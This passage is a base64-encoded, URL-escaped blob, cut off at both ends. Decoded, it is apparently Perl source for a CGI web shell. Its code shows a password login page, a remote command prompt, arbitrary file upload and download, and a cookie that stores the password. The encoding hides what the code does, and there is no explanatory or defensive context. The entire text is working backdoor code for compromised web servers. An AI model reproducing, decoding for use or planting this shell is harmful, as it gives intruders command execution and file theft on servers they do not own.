jxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ%2BXCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI%2BDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI%2BPGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ%2BIE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk%2BPC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1%2BIHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1%2BIHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic%2BIi4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI%2BDQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI%2BDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI%2BDQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI%2BDQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ%2Bby0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA%2BRWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ%2BPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw%2BIjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI%2BIjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA%2BICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI%2BDQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI%2BPGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI%2BDQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA%2FICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI%2BPGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI%2BDQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI%2BDQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c%2BDQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI%2BIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI%2BDQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI%2BQ2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1%2BICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1%2BIG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1%2BIG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNC